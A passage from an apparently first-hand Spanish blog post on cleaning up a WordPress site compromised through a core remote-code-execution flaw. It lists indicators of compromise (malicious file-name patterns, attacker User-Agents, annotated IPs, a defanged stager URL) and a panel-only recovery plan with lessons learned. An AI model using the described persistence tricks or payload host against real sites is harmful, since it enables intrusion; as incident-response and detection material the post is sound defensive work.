sgio-wp2shell-13f838eba615/ wp2shell_e44ffa62/
sgio-wp2shell-bd3f8adc83d3/
# En wp-content/mu-plugins/ (patrón: nombre plausible + 8 hex)
wp-asset-loader-* wp-cache-handler-*
wp-core-update-* wp-cron-helper-*
wp-health-check-* wp-mail-handler-*
wp-rest-optimizer-* wp-db-optimizer-*
wp-rest-hardening-*
# En wp-content/uploads/ (patrón: class-wp-<tipo>_<6-8 hex>)
class-wp-cache* class-wp-hook_* class-wp-meta_* class-wp-post_*
class-wp-query_* class-wp-rest_* class-wp-widget_*
# Otros vistos en logs pero ya borrados del disco
mta-19310704.php class-wp-taxonomy-bd9d4f.php
_xp_83ac137d.php _vx_83ac137d.php
/tmp/php?????? /tmp/.ioc_83ac137d.php
cdg.html ganteng.html 0x.txt cdg.txt
User-Agents de alta fidelidad (no aparecen en tráfico legítimo):
wp2shell
wp2shell-rce/1.0
wp2shell-check/1.0
wp2shell-checker
Mozilla/5.0 (compatible; wp2shell-check/1.0)
Mozilla/5.0 (compatible; SiteHealth/1.0)
Mozilla/5.0 (compatible; CVE-2026-63030-checker)
Ese último no es del atacante, es de algún escáner de terceros que también anda buscando sitios vulnerables. Que te aparezca significa que estás en las listas.
User-Agents de fidelidad media (sospechosos en volumen, no de forma aislada):
# Truncado: le falta el "(KHTML, like Gecko) Chrome/..." del final
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
# Pelado, sin nada detrás
Mozilla/5.0
python-requests/2.34.2 Python-urllib/3.13 Go-http-client/1.1
Lo de la cadena truncada tiene su gracia. El toolkit corta el User-Agent justo antes de (KHTML, like Gecko) Chrome/..., así que un navegador real nunca manda eso. 7.014 peticiones con esa firma exacta.
IPs. Con un aviso importante: muchas de estas son de máquinas de terceros que a su vez están comprometidas o son infraestructura cloud alquilada por horas. Bloquearlas sirve de poco a medio plazo y bloquear rangos enteros te va a dar falsos positivos. Las pongo para que puedas correlacionar en tus propios logs, no como lista de bloqueo:
152.44.36.152 # 6.849 peticiones en 2h32m, el 24/07
173.231.200.13 # operador principal, sesiones interactivas
34.171.141.44 # primer compromiso, 19/07 07:53:57
34.172.185.49 # exfiltración de correos, 19/07 12:42
216.170.192.140 # despliegue del módulo de correo, 27/07
156.0.200.134 # segundo grupo, 24/07 15:05
195.206.105.12 # tercer actor, intentos 404 el 24/07
89.39.107.190 # intento fallido de activar plugin, 25/07
92.189.77.250 172.235.128.108 35.240.56.150 64.89.161.50
34.136.134.112 34.171.169.105 162.193.207.171 167.114.144.200
146.70.84.22 185.198.58.107 206.189.102.227 175.112.95.2
45.138.16.164 51.161.51.84 179.43.145.34 209.99.186.3
Infraestructura externa. El payload principal se descargaba de aquí (dominio desactivado a propósito, no lo visites):
hxxps://xn----htbbbaao6bijbdowo4kj[.]xn--p1ai/media/system/css/cache-index.txt
Ese xn-- es punycode de un dominio cirílico .рф, y la ruta media/system/css/ es estructura de Joomla. Traducción: el stager estaba alojado en otra web hackeada. La cadena no empieza en tu servidor y no termina en él.
El mismo plan, sin consola
Todo lo de arriba asume que puedes entrar por SSH, y la realidad es que la mayoría de la gente no puede. Yo tampoco pude durante buena parte de esto: el puerto estaba cerrado desde fuera y acabé resolviéndolo casi todo desde el navegador, con el panel del hosting, el gestor de archivos, phpMyAdmin y wp-admin.
Así que cierro con el plan en forma de acciones, no de comandos. No es un paso a paso alternativo, es la misma lógica traducida a lo que sí tienes a mano.
Lo único que de verdad tienes que entender antes de empezar: esta infección no vive en un sitio, vive en cuatro. Archivos, base de datos, tareas programadas del servidor y directorio temporal. Desde tu panel llegas a dos. Los otros dos los tiene que mirar tu proveedor. Por eso la primera acción no es limpiar.
Escribe a tu hosting antes de tocar nada. Diles que has sufrido una intrusión con ejecución remota de código y que necesitas que revisen tres cosas a nivel de sistema, porque tú no puedes: el crontab del usuario del sistema, el directorio temporal y la cola de correo junto con la reputación de la IP. Pídeles además dos cosas que se te van a olvidar en caliente: que no roten ni borren los logs, y acceso SSH si es posible.
Y ojo con una trampa: las “tareas programadas” que ves en el panel no son lo mismo que el crontab del sistema. El panel solo enseña las que se crearon desde el panel, y el atacante no usa el panel. Que no veas nada ahí no significa que no haya nada.
Baja el sitio antes de limpiar, no después. Los archivos de mu-plugins/ se ejecutan en cada visita y su único trabajo es restaurar la shell. Mientras la web responda peticiones estás limpiando con el grifo abierto.
Guarda una copia completa aunque esté infectada. Y trátala como material sensible: si los logs van dentro, es probable que contengan contraseñas en texto plano.
Al limpiar archivos, activa la opción de ver archivos ocultos en el gestor del panel, o no verás ni un solo .htaccess. Un criterio que ayuda a decidir: los .htaccess legítimos bloquean cosas; si encuentras uno que habilita la ejecución de PHP en una carpeta donde no toca, ese lo puso el atacante.
Sobre mu-plugins/, una recomendación que va más allá de la limpieza: si no reconoces nada, déjala vacía. La mayoría de instalaciones no la necesitan, y a partir de ahí cualquier archivo que aparezca es malo por definición. Te simplifica la vigilancia para siempre.
En la base de datos, mira dos cosas que casi nadie mira. Las tareas programadas de WordPress con nombres que acaban en una cadena aleatoria, y sobre todo las contraseñas de aplicación: son acceso permanente a tu sitio y sobreviven a un cambio de contraseña. Revócalas todas y cierra todas las sesiones.
Reinstala, no actualices. El botón de reinstalar WordPress está en Escritorio > Actualizaciones y aparece aunque ya tengas la última versión. Con los plugins, desinstalar y volver a instalar.
Con las credenciales, dos que se olvidan siempre. Las claves de seguridad de wp-config.php, que invalidan todas las sesiones abiertas de golpe y son lo más rentable que puedes hacer tú en dos minutos. Y las claves de servicios externos: pasarela de pago, almacenamiento del plugin de copias, integraciones. Todo eso vive en la base de datos, y el atacante tuvo la base de datos. Con la pasarela de pago no basta con generar claves nuevas: hay que revocar las viejas desde el panel del servicio.
Y para comprobar que se ha ido, dos pruebas que funcionan sin consola. La del señuelo que ya conté: crea un archivo con el nombre de uno de los maliciosos, bórralo y espera diez minutos. Si vuelve, queda una tarea programada en el servidor, y ahora tienes una prueba concreta que enseñarle a tu hosting en vez de una sospecha.
La segunda es más sutil. Los archivos que encontré incluían una línea que ocultaba del panel la pestaña donde se listan los mu-plugins. Si sospechas que queda algo, crea tú un archivo cualquiera en esa carpeta con una cabecera de plugin y mira si aparece la pestaña. Si con el archivo puesto la pestaña sigue sin salir, hay código escondiéndola.
Y si no puedes con ello, empezar de cero es la decisión razonable. Hosting o cuenta nueva, WordPress limpio, plugins desde el repositorio oficial, y migrar solo el contenido más la base de datos ya limpia. Con diez días de acceso completo por medio, eso no es rendirse: es elegir bien dónde gastas el esfuerzo.
Lo que me llevo de esto
Actualiza el core rápido. Esta vulnerabilidad estaba en WordPress, no en un plugin abandonado. El sitio estaba razonablemente al día y aun así le pilló la ventana entre que salió el parche y que se actualizó. Con las vulnerabilidades del core no hay margen de “ya lo haré el lunes”.
Mira mu-plugins/ de vez en cuando. Es la carpeta que nadie mira porque no sale en el panel. Por eso mismo es donde se meten.
Ningún .php en uploads/. Y si tu hosting te deja, bloquea la ejecución de PHP en esa carpeta directamente. Es la medida con mejor relación esfuerzo/beneficio de toda esta lista.
Las fechas se falsean. Ordenar por fecha de modificación no te va a enseñar el ataque. Busca por contenido, y desconfía cuando veas quince archivos con el mismo mtime al segundo.
Un plugin de seguridad no es un plan de recuperación. Ayuda antes. No te sirve de nada cuando el atacante ya tiene ejecución de comandos y puede renombrarle la carpeta.
El orden de la limpieza importa más que las herramientas. Bajar el sitio y matar la persistencia externa antes de tocar un solo archivo. Al revés estás limpiando una habitación con la puerta abierta.
Guarda los logs. Todo lo que sé de este ataque lo sé por los logs de acceso: la hora exacta de entrada, los comandos ejecutados, el nombre del usuario que se crearon, e incluso el código completo de módulos que ellos borraron después, porque los subían codificados en la propia URL. Los archivos me contaban la mitad de la historia. Los logs me contaron la otra mitad.
Si te ves en esto
Si has llegado hasta aquí porque tienes un WordPress con esta pinta y no sabes por dónde empezar, escríbeme y lo vemos. Mis datos están abajo. Si es algo que puedes resolver tú siguiendo lo de arriba, te lo digo y ya está.
Lo que sí te pido, y esto va en serio: no borres nada todavía. Ni los archivos raros ni, sobre todo, los logs. Es lo primero que hace falta para saber cuándo entraron y qué tocaron, y es justo lo que la gente borra por instinto pensando que así limpia.
Y si lo que buscas es seguir aprendiendo sobre estos temas, guarda esta página en tus marcadores y pásate de vez en cuando, que voy publicando cosas como esta a medida que me las voy encontrando en el mundo real.